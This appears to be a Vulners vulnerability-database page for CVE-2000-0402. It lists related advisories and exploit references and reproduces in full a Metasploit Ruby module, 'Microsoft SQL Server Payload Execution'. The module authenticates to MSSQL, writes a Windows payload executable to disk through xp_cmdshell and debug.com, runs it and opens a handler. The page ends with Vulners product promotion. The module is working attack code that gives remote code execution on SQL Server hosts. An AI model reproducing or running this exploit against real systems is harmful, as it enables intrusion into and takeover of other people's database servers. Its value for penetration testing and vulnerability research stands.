| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2000-0402 | 30 May 200004:00 | – | attackerkb | |
| CVE-2000-0402 | 21 Dec 201000:00 | – | circl | |
| CVE-2000-0402 | 12 Jul 200004:00 | – | cve | |
| CVE-2000-0402 | 12 Jul 200004:00 | – | cvelist | |
| Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow | 6 Aug 200200:00 | – | exploitdb | |
| Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow | 6 Aug 200200:00 | – | exploitpack | |
| Microsoft SQL Server Payload Execution | 21 Feb 201201:40 | – | metasploit | |
| Microsoft SQL Server Payload Execution via SQL Injection | 27 Jan 201116:48 | – | metasploit | |
| CVE-2000-0402 | 30 May 200004:00 | – | nvd | |
| Microsoft SQL Server Payload Execution via SQL injection | 29 Jan 201100:00 | – | packetstorm |
`##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable to disk
and the xp_cmdshell stored procedure. File size restrictions are avoided by
incorporating the debug bypass method presented at Defcon 17 by SecureState.
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '557'],
[ 'CVE', '2000-0402'],
[ 'BID', '1281'],
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
end
def exploit
debug = false # enable to see the output
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
handler
disconnect
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation